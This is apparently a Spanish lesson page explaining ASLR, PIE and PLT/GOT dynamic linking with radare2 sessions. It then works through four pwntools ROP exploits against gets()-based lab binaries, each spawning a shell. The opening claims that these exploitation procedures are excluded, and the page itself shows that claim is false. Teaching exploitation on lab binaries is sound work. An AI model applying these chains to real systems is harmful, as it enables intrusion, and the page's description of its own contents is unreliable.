Distinguir offsets y direcciones de carga y reconocer las estructuras del enlazado.
Edición parcial: diferencias con el original
Se excluyen los procedimientos de explotación que eluden ASLR, reutilizan llamadas o construyen una llamada a system. Se conservan la variación de direcciones, PLT, GOT y PIE.
Prepara el análisis con el agente
Comparte esta lección y sus evidencias con tu agente. Pídele que te ayude a organizar la lectura y que justifique cada conclusión con una observación concreta.
Estoy estudiando «ASLR, PIE y enlace dinámico» del curso de Lobera. Ayúdame a interpretar las funciones, estructuras y capturas de esta lección. Distingue las observaciones del caso de las hipótesis y cita la evidencia que sostiene cada conclusión.
El análisis se apoya en las evidencias disponibles para este caso. Preparación y funcionamiento.
Introducción
En las entregas anteriores nos centramos principalmente en evadir DEP y los canarios de pila, mecanismos de seguridad relacionados con evitar que los atacantes desborden la pila y ejecuten código en ella. En todos nuestros escenarios anteriores nos basamos en direcciones de memoria fijas que obtuvimos depurando el programa manualmente. Como para cada medida existe una contramedida, los desarrolladores de sistemas, conscientes de esto, idearon una solución: si cada vez que el programa arranca todo se carga en direcciones de memoria distintas, esas direcciones fijas utilizadas en los exploits dejarán de servir. Sencillo. Ese es el origen de ASLR. Hoy seguiremos este interesante artículo de ch0pin para aprender más sobre explotación x64 y cómo llevarla a cabo con radare2.
Acerca de ASLR
La aleatorización del espacio de direcciones (ASLR) es una técnica de seguridad informática destinada a prevenir la explotación de vulnerabilidades de corrupción de memoria. Para impedir que un atacante salte de forma fiable a, por ejemplo, una función explotada concreta en memoria, ASLR ordena aleatoriamente las posiciones del espacio de direcciones de las áreas de datos clave de un proceso, incluyendo la base del ejecutable y las posiciones de la pila, el heap y las bibliotecas. Si la aleatorización introduce suficiente entropía, es decir, si la aleatoriedad funciona lo bastante bien como para que sea prácticamente imposible «deducir/adivinar» la(s) dirección(es) de las funciones deseadas, los ataques presentados en las entregas anteriores no funcionarán. Por ejemplo, con ASLR la dirección base de libc será distinta en cada ejecución, por lo que la técnica return-to-libc no funcionará.
En sistemas Linux podemos activar/desactivar ASLR con lo siguiente:
Disable with:
$echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Enable with:
$echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Puedes consultar más sobre ASLR en Linux aquí, pero en resumen: 0 desactiva ASLR por completo, todo se cargará en las mismas posiciones de memoria. 1 aleatoriza las posiciones de la pila, la página VDSO (virtual dynamic shared object) y las regiones de memoria compartida. La dirección base del segmento de datos se sitúa inmediatamente después del final del segmento de código ejecutable. Y 2 es ASLR completo: aleatoriza las posiciones de la pila, la página VDSO, las regiones de memoria compartida y el segmento de datos. Este es el valor por defecto en sistemas Linux modernos.
Por ejemplo, si tenemos ASLR activado (por defecto) y ejecutamos/depuramos un programa con radare2 un par de veces consecutivas y localizamos la dirección base de ld cada vez:
lab@lab-VirtualBox:~/asl$ radare2 -dAAA example_1
Process with PID 2770 started...
= attach 2770 2770
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 2770 2770
2770
[0x7f7664c05090]> dmm
0x00400000 /home/lab/asl/example_1
0x7f7664c04000 /lib/x86_64-linux-gnu/ld-2.27.so
[0x7f7664c05090]> exit
Do you want to quit? (Y/n)
Do you want to kill the process? (Y/n)
lab@lab-VirtualBox:~/asl$ radare2 -dAAA example_1
Process with PID 2772 started...
= attach 2772 2772
bin.baddr 0x00400000
Using 0x400000
asm.bits 64
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
= attach 2772 2772
2772
[0x7f9c56286090]> dmm
0x00400000 /home/lab/asl/example_1
0x7f9c56285000 /lib/x86_64-linux-gnu/ld-2.27.so
[0x7f9c56286090]>
Como ves, referenciar estáticamente cualquier cosa ahí sería inútil.
Se podría pensar que una técnica válida sería hacer fuerza bruta en la memoria del programa para encontrar direcciones válidas para nuestras llamadas, pero esta imagen incluida en el artículo original responde a la cuestión:
En vez de eso, utilizaremos una técnica llamada Return2PLT.
PLT y GOT
Cuando escribimos un programa usamos código ubicado en lo que se denominan «bibliotecas». Las bibliotecas son módulos que contienen funcionalidades que pueden ser útiles en muchos programas diferentes, evitando que tengamos que escribir lo mismo cada vez que creamos un programa nuevo, permitiendo así la reutilización práctica de código. Cuando incluimos bibliotecas como stdio y similares en nuestro programa y construimos el ejecutable completo, se produce el ENLAZADO. El enlazado puede ocurrir de dos formas: copiando el código de la biblioteca directamente en el programa (código máquina), es decir, enlazado estático, o estableciendo ciertos mecanismos para que no se copie el código completo de la biblioteca, solo una referencia a él, de modo que el código de la biblioteca sea accesible en TIEMPO DE EJECUCIÓN, es decir, enlazado dinámico. Lo habitual es el enlazado dinámico. Cuando incluyes stdio o similares, se enlazan dinámicamente. Lo que nos interesa es el enlazado dinámico:
El enlazado dinámico difiere gran parte del proceso de enlazado hasta que el programa empieza a ejecutarse. Realiza el proceso de enlazado «sobre la marcha» mientras los programas se ejecutan en el sistema. Las bibliotecas se cargan en memoria cuando los programas arrancan. Durante la compilación de la biblioteca, el código máquina se almacena en tu equipo. Cuando recompilas un programa que usa esta biblioteca, solo se compila el código nuevo del programa. No vuelve a compilar la biblioteca en el ejecutable como en el enlazado estático. La razón principal para usar enlazado dinámico es liberar al software de la necesidad de recompilar con cada nueva versión de la biblioteca. El enlazado dinámico es el enfoque más moderno y tiene la ventaja de producir ejecutables mucho más pequeños. Mejora el rendimiento general porque ahorra espacio en disco y (esto es importante) las bibliotecas solo se mapean en el proceso cuando se necesitan.
Este proceso de enlazado dinámico se realiza utilizando las tablas PLT y GOT del ejecutable.
Esas tablas se encuentran en el binario. Un binario ELF en nuestro caso:
La Procedure Linkage Table (PLT) es una tabla de solo lectura en el fichero ELF que almacena todos los símbolos necesarios que requieren resolución [nuestra función printf o puts]. Ten en cuenta que esta resolución ocurre cuando se realiza una llamada a la función: invocará al enlazador dinámico para resolver la dirección de la función solicitada en tiempo de ejecución.
La Global Offset Table (GOT) es una zona de memoria con permisos de escritura que se utiliza para almacenar punteros a las funciones resueltas. Una vez que el enlazador dinámico resuelve una función, actualiza la GOT para tener esa entrada lista para su uso.
Inspeccionemos esas dos tablas en este programa sencillo que podemos compilar con la opción (no-pie):
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
Busquemos esas tablas dentro del programa de demostración:
Podemos colocar un breakpoint antes y después de la llamada a la función printf() (el compilador la tradujo a puts, pero es lo mismo para nuestro ejemplo) e inspeccionar la memoria.
Veremos que hay una llamada a «sym.imp.puts», que es la PLT. Si inspeccionamos la memoria en ese punto ANTES de llamarla, veremos un JMP a lo almacenado en 0x601018, que es la GOT. Inicialmente apuntará solo 6 bytes más adelante, y eso es correcto porque en la primera llamada, debido a la resolución diferida (lazy resolving), el programa necesita resolver la dirección e ir allí. Tras esa primera llamada, la dirección real de la función deseada en la biblioteca se almacenará en la tabla GOT, y las llamadas siguientes evitarán el proceso de resolución y saltarán directamente allí. Comprobémoslo en radare2:
[0x7f230ded6090]> s sym.main
[0x004004e7]> pdf
;-- main:
/ (fcn) sym.main 23
| sym.main ();
| ; DATA XREF from 0x0040041d (entry0)
| 0x004004e7 55 push rbp
| 0x004004e8 4889e5 mov rbp, rsp
| 0x004004eb 488d3d920000. lea rdi, qword str.Hello_World ; 0x400584 ; "Hello World!" ; const char * s
| 0x004004f2 e8f9feffff call sym.imp.puts ; int puts(const char *s)
| 0x004004f7 b800000000 mov eax, 0
| 0x004004fc 5d pop rbp
\ 0x004004fd c3 ret
[0x004004e7]> db 0x004004f2
[0x004004e7]> pd 1 @ sym.imp.puts
/ (fcn) sym.imp.puts 6
| sym.imp.puts ();
| ; CALL XREF from 0x004004f2 (sym.main)
\ 0x004003f0 ff25220c2000 jmp qword reloc.puts_24 ; [0x601018:8]=0x4003f6
[0x004004e7]> db 0x004004f7
[0x004004e7]> dc
hit breakpoint at: 4004f2
[0x004004e7]> pd 1 @ sym.imp.puts
/ (fcn) sym.imp.puts 6
| sym.imp.puts ();
| ; CALL XREF from 0x004004f2 (sym.main)
\ 0x004003f0 ff25220c2000 jmp qword reloc.puts_24 ; [0x601018:8]=0x4003f6
[0x004004e7]> pd 10 @ 0x4003f6
: 0x004003f6 6800000000 push 0
`=< 0x004003fb e9e0ffffff jmp 0x4003e0
;-- section_end..plt:
;-- section..text:
;-- r12:
/ (fcn) entry0 43
| entry0 ();
| 0x00400400 31ed xor ebp, ebp ; [13] --r-x section size 370 named .text
| 0x00400402 4989d1 mov r9, rdx
| 0x00400405 5e pop rsi
| 0x00400406 4889e2 mov rdx, rsp
| 0x00400409 4883e4f0 and rsp, 0xfffffffffffffff0
| 0x0040040d 50 push rax
| 0x0040040e 54 push rsp
| 0x0040040f 49c7c0700540. mov r8, sym.__libc_csu_fini ; 0x400570
[0x004004e7]> dc
Hello World!
hit breakpoint at: 4004f7
[0x004004e7]> pd 1 @ sym.imp.puts
/ (fcn) sym.imp.puts 6
| sym.imp.puts ();
| ; CALL XREF from 0x004004f2 (sym.main)
\ 0x004003f0 ff25220c2000 jmp qword reloc.puts_24 ; [0x601018:8]=0x7f230db64970 ; "pI\xb6\r#\x7f"
[0x004004e7]>
[0x004004e7]> pxw @ 0x601018:8
0x00601018 0x0db64970 0x00007f23 0x00000000 0x00000000 pI..#...........
Como podemos ver, la primera vez que se llama a printf (puts) en este programa, el enlazador entra en juego, se obtiene la dirección de la función y se actualiza la tabla GOT. A partir de ahí, todas las llamadas a puts referenciarán la dirección 0x7f230db64970 almacenada en la GOT.
[0x004004e7]> pd 10 @ 0x7f230db64970
0x7f230db64970 4155 push r13
0x7f230db64972 4154 push r12
0x7f230db64974 4989fc mov r12, rdi
0x7f230db64977 55 push rbp
0x7f230db64978 53 push rbx
0x7f230db64979 4883ec08 sub rsp, 8
0x7f230db6497d e80e08faff call 0x7f230db05190
0x7f230db64982 488b2dbfbe36. mov rbp, qword [0x7f230ded0848] ; [0x7f230ded0848:8]=0x7f230ded0760
Ejecutables independientes de posición
Los ejecutables independientes de posición (PIE) son un resultado del proceso de compilación con refuerzo de seguridad que aprovecha el ASLR habilitado en las versiones modernas de Linux. Un binario PIE y todas sus dependencias se cargan en posiciones aleatorias de la memoria virtual cada vez que se ejecuta la aplicación. Esto hace que los ataques de programación orientada a retorno (ROP) sean mucho más difíciles de ejecutar de forma fiable. En un binario PIE, todas las direcciones de memoria que vemos al depurar el programa serán diferentes cada vez. Si el programa no se ha compilado con la opción PIE pero ASLR está habilitado en el sistema, las direcciones de memoria relacionadas con el programa permanecerán iguales en cada ejecución, pero las relacionadas con las bibliotecas (llamadas resueltas en tiempo de ejecución) serán ALEATORIAS. Así, una llamada a una función contenida enteramente en el programa será viable al 100% (codificar la dirección fija funcionará), pero una llamada a, digamos, system() no funcionará, ya que la dirección de esa función será diferente cada vez. Podemos compilar programas no-PIE con la opción -no-pie en gcc.
Evasión de ASLR
Sabiendo esto, intentemos practicar el antiguo arte de la explotación de binarios en un sistema con ASLR habilitado.
Llamada (útil) existente
Empecemos con este caso particular:
#include <stdio.h>
void unused_shell_func(){
system("/bin/sh");
}
void greet_me()
{
char name[200];
printf("Enter your name:");
gets(name);
printf("Hi there %s !!\n",name);
}
int main(int argc, char *argv[])
{
greet_me();
return 0;
}
En este caso, partimos del programa presentado compilado con -no-pie. Aquí vemos que hay una función no utilizada que realmente llama a /bin/sh, una llamada interesante. La función existe y será visible en el espacio de memoria del programa aunque no será llamada «naturalmente» por el programa. El exploit aquí es muy fácil: como el programa no es PIE, la dirección de esa función permanecerá igual en cada ejecución.
Para elaborar un exploit para este caso, primero detectamos la dirección de la función no utilizada:
[0x7ffff7dd4090]> afl
0x00400000 3 72 -> 73 sym.imp.__libc_start_main
0x00400438 3 23 sym._init
0x00400460 1 6 sym.imp.system
0x00400470 1 6 sym.imp.printf
0x00400480 1 6 sym.imp.gets
0x00400490 1 43 entry0
0x004004c0 1 2 sym._dl_relocate_static_pie
0x004004d0 3 35 sym.deregister_tm_clones
0x00400500 3 53 sym.register_tm_clones
0x00400540 3 34 -> 29 sym.__do_global_dtors_aux
0x00400570 1 7 entry1.init
0x00400577 1 24 sym.unused_shell_func
0x0040058f 1 78 sym.greet_me
0x004005dd 1 32 sym.main
0x00400600 4 101 sym.__libc_csu_init
0x00400670 1 2 sym.__libc_csu_fini
0x00400674 1 9 sym._fini
0x00600ff0 1 18 reloc.__libc_start_main_240
[0x7ffff7dd4090]>
Después necesitaremos una instrucción «ret» para saltar allí. Ten en cuenta que la dirección de la instrucción «ret» que se incluya en el exploit debe estar ubicada dentro del espacio de memoria del ELF, no de las bibliotecas, ya que esas se cargarán aleatoriamente cada vez. Podemos buscar ese ret en radare2 usando e search.from/to.
[0x7ffff7dd4090]> dm
0x0000000000400000 # 0x0000000000401000 - usr 4K s -r-x /home/lab/asl/example_1 /home/lab/asl/example_1 ; map.home_lab_asl_example_1._r_x
0x0000000000600000 # 0x0000000000602000 - usr 8K s -rw- /home/lab/asl/example_1 /home/lab/asl/example_1 ; map.home_lab_asl_example_1._rw
0x00007ffff7dd3000 # 0x00007ffff7dfc000 * usr 164K s -r-x /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._r_x
0x00007ffff7ff8000 # 0x00007ffff7ffb000 - usr 12K s -r-- [vvar] [vvar] ; map.vvar_._r
0x00007ffff7ffb000 # 0x00007ffff7ffc000 - usr 4K s -r-x [vdso] [vdso] ; map.vdso_._r_x
0x00007ffff7ffc000 # 0x00007ffff7ffe000 - usr 8K s -rw- /lib/x86_64-linux-gnu/ld-2.27.so /lib/x86_64-linux-gnu/ld-2.27.so ; map.lib_x86_64_linux_gnu_ld_2.27.so._rw
0x00007ffff7ffe000 # 0x00007ffff7fff000 - usr 4K s -rw- unk0 unk0
0x00007ffffffde000 # 0x00007ffffffff000 - usr 132K s -rw- [stack] [stack] ; map.stack_._rw
0xffffffffff600000 # 0xffffffffff601000 - usr 4K s ---x [vsyscall] [vsyscall] ; map.vsyscall_.___x
[0x7ffff7dd4090]> e search.from=0x0000000000400000
[0x7ffff7dd4090]> e search.to=0x0000000000401000
[0x7ffff7dd4090]>
Tras definir el espacio, podemos buscar ese ret:
0x00400490]> /R ret
0x00400440 0b20 or esp, dword [rax]
0x00400442 004885 add byte [rax - 0x7b], cl
0x00400445 c07402ffd0 sal byte [rdx + rax - 1], 0xd0
0x0040044a 4883c408 add rsp, 8
0x0040044e c3 ret
Y, sin complicaciones, el exploit resulta así de sencillo:
from pwn import *
unused_shell_func = 0x00400577
ret = 0x0040044e
buf= b'A' * 208
buf += b'\x42' * 8
buf += p64(ret)
buf += p64(unused_shell_func)
sys.stdout.buffer.write(buf)
Y la shell aparece.
lab@lab-VirtualBox:~/asl$ (python3 exploit1.py ; cat; ) | ./example_1
id
Enter your name:Hi there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBN@ !!
id
uid=1000(lab) gid=1000(lab) groups=1000(lab),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
Reutilización de llamada con cambio de parámetros
Pero el escenario anterior parece algo… poco realista. ¿Qué pasa si tenemos una llamada a system u otra función interesante pero se llama con parámetros aleatorios que no nos sirven?
Partamos ahora de este programa:
#include <stdio.h>
void show_date(){
system("/bin/date");
}
void greet_me()
{
char name[200];
printf("Enter your name:");
gets(name);
printf("%s !it is you again !!! oh my gosh",name);
}
int main(int argc, char *argv[])
{
show_date();
greet_me();
return 0;
}
En este caso llamaremos manualmente a la función system() desde la PLT, ya que se usa en el programa, pero con nuestros propios parámetros. Empezamos anotando la dirección PLT de system desde la lista de llamadas:
[0x7fe1dcdf0090]> afl
0x00400000 3 72 -> 73 sym.imp.__libc_start_main
0x00400438 3 23 sym._init
0x00400460 1 6 sym.imp.system
0x00400470 1 6 sym.imp.printf
0x00400480 1 6 sym.imp.gets
0x00400490 1 43 entry0
0x004004c0 1 2 sym._dl_relocate_static_pie
0x004004d0 3 35 sym.deregister_tm_clones
0x00400500 3 53 sym.register_tm_clones
0x00400540 3 34 -> 29 sym.__do_global_dtors_aux
0x00400570 1 7 entry1.init
0x00400577 1 24 sym.show_date
0x0040058f 1 78 sym.greet_me
0x004005dd 1 42 sym.main
0x00400610 4 101 sym.__libc_csu_init
0x00400680 1 2 sym.__libc_csu_fini
0x00400684 1 9 sym._fini
0x00600ff0 1 18 reloc.__libc_start_main_240
[0x7fe1dcdf0090]>
Después procedemos a encontrar el ret pero también el pop rdi; ret para pasar el parámetro a system():
0x00400448 ffd0 call rax
0x0040044a 4883c408 add rsp, 8
0x0040044e c3 ret
0x00400444 85c0 test eax, eax
0x00400446 7402 je 0x40044a
[0x00400490]> /R pop rdi
0x00400673 5f pop rdi
0x00400674 c3 ret
Y ahora necesitaremos la cadena «sh». Es importante notar que necesitaremos una cadena «sh» terminada por un nulo, así que sh\x00 es lo que buscamos.
/ (fcn) sym.greet_me 78
| sym.greet_me ();
| ; var int local_d0h @ rbp-0xd0
| ; CALL XREF from 0x004005fb (sym.main)
| 0x0040058f 55 push rbp
| 0x00400590 4889e5 mov rbp, rsp
| 0x00400593 4881ecd00000. sub rsp, 0xd0
| 0x0040059a 488d3d010100. lea rdi, qword str.Enter_your_name: ; 0x4006a2 ; "Enter your name:" ; const char * format
| 0x004005a1 b800000000 mov eax, 0
| 0x004005a6 e8c5feffff call sym.imp.printf ; int printf(const char *format)
| 0x004005ab 488d8530ffff. lea rax, qword [local_d0h]
| 0x004005b2 4889c7 mov rdi, rax ; char *s
| 0x004005b5 b800000000 mov eax, 0
| 0x004005ba e8c1feffff call sym.imp.gets ; char*gets(char *s)
| 0x004005bf 488d8530ffff. lea rax, qword [local_d0h]
| 0x004005c6 4889c6 mov rsi, rax
| 0x004005c9 488d3de80000. lea rdi, qword str.s__it_is_you_again______oh_my_gosh ; 0x4006b8 ; "%s !it is you again !!! oh my gosh" ; const char * format
| 0x004005d0 b800000000 mov eax, 0
| 0x004005d5 e896feffff call sym.imp.printf ; int printf(const char *format)
| 0x004005da 90 nop
| 0x004005db c9 leave
\ 0x004005dc c3 ret
[0x0040058f]>
En este ejemplo es fácil, ya que en «oh my gosh» terminamos con «sh» y ahí acaba la cadena.
[0x0040058f]> pxw @ 0x4006b8
0x004006b8 0x21207325 0x69207469 0x6f792073 0x67612075 %s !it is you ag
0x004006c8 0x206e6961 0x21212120 0x20686f20 0x6720796d ain !!! oh my g
0x004006d8 0x0068736f 0x3b031b01 0x00000048 0x00000008 osh....;H.......
0x004006e8 0xfffffd74 0x000000a4 0xfffffdb4 0x00000064 t...........d...
Localizamos dónde empieza «sh» y esa será la dirección de nuestro parámetro:
[0x0040058f]> pxw @ 0x004006d9
0x004006d9 0x01006873 0x483b031b 0x08000000 0x74000000 sh....;H.......t
0x004006e9 0xa4fffffd 0xb4000000 0x64fffffd 0xe4000000 ...........d....
0x004006f9 0x90fffffd 0x9b000000 0xccfffffe 0xb3000000 ................
El exploit entonces se puede construir de la siguiente manera:
from pwn import *
ret = 0x0040044e
pop_rdi_ret = 0x00400673
sh_address = 0x004006d9
system = 0x00400460
buf= b'A' * 208
buf += b'\x42' * 8
buf += p64(ret)
buf += p64(pop_rdi_ret)
buf += p64(sh_address)
buf += p64(system)
sys.stdout.buffer.write(buf)
Y la shell aparece como de costumbre:
lab@lab-VirtualBox:~/asl$ (python3 exploit2.py; cat;) | ./example_2
Thu Jun 30 07:54:42 EDT 2022
id
uid=1000(lab) gid=1000(lab) groups=1000(lab),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
Reutilización de llamada y construcción de cadenas
Pero en un caso como el presentado, será raro encontrar una cadena que termine en «sh» o algo similar, y más aún en MS Windows (cmd.exe). Sin embargo, puede ser más habitual, especialmente en ejecutables grandes, encontrar una llamada a strcpy o alguna función similar utilizada para operar con cadenas. En un escenario así intentaremos llamar a strcpy para CONSTRUIR «sh» en memoria y luego referenciarla.
Partamos de este programa:
#include <stdio.h>
#include <string.h>
void unused(){
char dummy1[10];
char dummy2[10];
strcpy(dummy1,dummy2);
}
void show_date(){
system("/bin/date");
}
void greet_me()
{
char name[200];
show_date();
printf("Enter your name:");
gets(name);
printf("hi %s !\n",name);
}
int main(int argc, char *argv[])
{
greet_me();
return 0;
}
Lo primero que necesitamos es encontrar la letra «s» y la letra «h», cada una antes de un terminador nulo. Eso se puede hacer en radare2 así:
[0x004004e0]> / s\x00
Searching 2 bytes in [0x400000-0x401000]
hits: 1
0x0040036e hit40_0 .libc.so.6gets\u0000strcpyprintfsy.
[0x004004e0]> pxw @ 0x0040036e
0x0040036e 0x74730073 0x79706372 0x69727000 0x0066746e s.strcpy.printf.
[0x004004e0]> / h\x00
Searching 2 bytes in [0x400000-0x401000]
hits: 1
0x004004a6 hit39_0 .%t @%r h\u0000%j h.
[0x004004e0]> pxw @ 0x004004a6
0x004004a6 0x00000068 0xffe0e900 0x25ffffff 0x00200b6a h..........%j. .
0x004004b6 0x00000168 0xffd0e900 0x25ffffff 0x00200b62 h..........%b. .
A continuación buscamos las instrucciones necesarias para pasar los parámetros:
[0x004004e0]> /R pop rsi
0x004006e1 5e pop rsi
0x004006e2 415f pop r15
0x004006e4 c3 ret
Y detectamos la PLT de strcpy/system:
[0x004004e0]> afl
0x00400000 3 72 -> 73 sym.imp.__libc_start_main
0x00400470 3 23 sym._init
0x004004a0 1 6 sym.imp.strcpy
0x004004b0 1 6 sym.imp.system
0x004004c0 1 6 sym.imp.printf
0x004004d0 1 6 sym.imp.gets
También necesitaremos la dirección de alguna región de memoria en la que podamos escribir. Podemos ir a la sección .data del ejecutable, ya que tendrá permisos RW. Esto es importante: si intentamos escribir en una dirección que parece «vacía» pero se encuentra dentro de una región sin permisos de escritura, strcpy fallará.
Y de nuevo, después de esto, el exploit resulta fácil: escribimos «s», escribimos «h\x00», pasamos los parámetros mediante los registros y llamamos a system:
from pwn import *
h_address = 0x4004a6
s_address = 0x40036e
write_to = 0x6010f0
system = 0x4004b0
strcpy = 0x4004a0
ret = 0x40028d
pop_rdi_ret = 0x4006e3
pop_rsi_pop_r15_ret=0x4006e1
dummy = b'C' * 8
buf= b'A' * 208
buf += b'\x42' * 8
#-------------------------copy 's' to .data
buf += p64(ret)
buf += p64(pop_rdi_ret)
buf += p64(write_to)
buf += p64(pop_rsi_pop_r15_ret)
buf += p64(s_address)
buf += dummy
buf += p64(strcpy)
#-------------------------copy 'h' to .data
buf += p64(pop_rdi_ret)
buf += p64(write_to+0x1)
buf += p64(pop_rsi_pop_r15_ret)
buf += p64(h_address)
buf += dummy
buf += p64(strcpy)
#-------------------------call system with 'sh' as parameter
buf += p64(pop_rdi_ret)
buf += p64(write_to)
buf += p64(system)
Y otra shell:
lab@lab-VirtualBox:~/asl$ (python3 exploit3.py; cat;) | ./example_3
Thu Jun 30 08:49:30 EDT 2022
id
Enter your name:hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB�@ !
id
uid=1000(lab) gid=1000(lab) groups=1000(lab),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
Construyendo nuestro camino hasta system()
Este último caso es algo más complejo pero sigue siendo fácil de explotar si seguimos la metodología. Aquí nos enfrentamos a un programa más complejo que representará un binario grande, con muchas funcionalidades, diferentes bibliotecas referenciadas y sin referencia a system.
#include <stdio.h>
#include <string.h>
__asm__(".globl func\n\t"
".type func, @function\n\t"
"func:\n\t"
".cfi_startproc\n\t"
"sub %rbp, (%rdi)\n\t"
"ret\n\t"
".cfi_endproc");
char *dummy = "sh";
void greet_me()
{
char name[200];
printf("Enter your name:");
gets(name);
printf("hi %s !\n",name);
}
int main(int argc, char *argv[])
{
greet_me();
return 0;
}
El proceso aquí será el siguiente: encontraremos las direcciones de printf() y system() en libc. Después calcularemos la diferencia entre ellas y la usaremos para actualizar la GOT y realizar una llamada a system().
Empezamos encontrando la PLT de printf(). No podemos encontrar la PLT de system() porque no se usa aquí.
[0x00400450]> afl
0x00400000 3 72 -> 73 sym.imp.__libc_start_main
0x00400400 3 23 sym._init
0x00400430 1 6 sym.imp.printf
0x00400440 1 6 sym.imp.gets
0x00400450 1 43 entry0
0x00400480 1 2 sym._dl_relocate_static_pie
0x00400490 3 35 sym.deregister_tm_clones
0x004004c0 3 53 sym.register_tm_clones
0x00400500 3 34 -> 29 sym.__do_global_dtors_aux
0x00400530 1 7 entry1.init
0x00400537 1 4 sym.func
0x0040053b 1 78 sym.greet_me
0x00400589 1 32 sym.main
0x004005b0 4 101 sym.__libc_csu_init
0x00400620 1 2 sym.__libc_csu_fini
0x00400624 1 9 sym._fini
0x00600ff0 1 18 reloc.__libc_start_main_240
[0x00400450]>
Después inspeccionamos la GOT:
[0x00400450]> dm
0x0000000000400000 # 0x0000000000401000 * usr 4K s -r-x /home/lab/asl/example_4 /home/lab/asl/example_4 ; map.home_lab_asl_example_4._r_x
0x0000000000600000 # 0x0000000000601000 - usr 4K s -r-- /home/lab/asl/example_4 /home/lab/asl/example_4 ; map.home_lab_asl_example_4._rw
0x0000000000601000 # 0x0000000000602000 - usr 4K s -rw- /home/lab/asl/example_4 /home/lab/asl/example_4 ; obj._GLOBAL_OFFSET_TABLE
GOT TABLE
[0x00400430]> ir
[Relocations]
vaddr=0x00600ff0 paddr=0x00000ff0 type=SET_64 __libc_start_main
vaddr=0x00600ff8 paddr=0x00000ff8 type=SET_64 __gmon_start__
vaddr=0x00601018 paddr=0x00001018 type=SET_64 printf
vaddr=0x00601020 paddr=0x00001020 type=SET_64 gets
Y calculamos la diferencia entre esas funciones:
[0x00400450]> dmi libc system~ system$
1406 0x0004f420 0x7fc5bb8e7420 WEAK FUNC 45 system
[0x00400450]> dmi libc printf~ printf$
629 0x00064e40 0x7fc5bb8fce40 GLOBAL FUNC 195 printf
[0x00400450]>
delta = 0x15A20
Así que system estará en la dirección de printf + 0x15A20.
Y el resto del exploit se puede construir siguiendo el mismo esquema que los anteriores. Calcularemos la dirección de system, actualizaremos la GOT con esa dirección y luego llamaremos a printf() en la PLT, que irá a comprobar la GOT y así irá a system() en su lugar.
from pwn import *
ret = 0x004005a8
pop_rdi_ret=0x00400613
pop_rbp_ret=0x00400519
sub_rdi_rbp = 0x00400537 #sub qword ptr [rdi], rbp; ret;
offset_to_system = 0x7fc5bb8fce40 - 0x7fc5bb8e7420 # ok
sh__string = 0x00400634
printf_at_got = 0x00601018
printf_at_plt = 0x00400430
buf= b'A' * 216
buf += p64(ret)
buf += p64(pop_rdi_ret)
buf += p64(printf_at_got)
buf += p64(pop_rbp_ret)
buf += p64(offset_to_system)
buf += p64(sub_rdi_rbp)
#------------to system
buf += p64(ret)
buf += p64(pop_rdi_ret)
buf += p64(sh__string)
buf += p64(printf_at_plt)
sys.stdout.buffer.write(buf)
Resultando en una shell:
lab@lab-VirtualBox:~/asl$ (python3 exploit4.py; cat;) | ./example_4
id
Enter your name:hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@ !
id
uid=1000(lab) gid=1000(lab) groups=1000(lab),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
Antes de continuar
Explica con tus palabras la operación estudiada y señala las instrucciones o capturas que la justifican. Distingue los datos observados de los nombres y tipos que has reconstruido.
El progreso se guarda en este navegador. Puedes recorrer las lecciones en cualquier orden.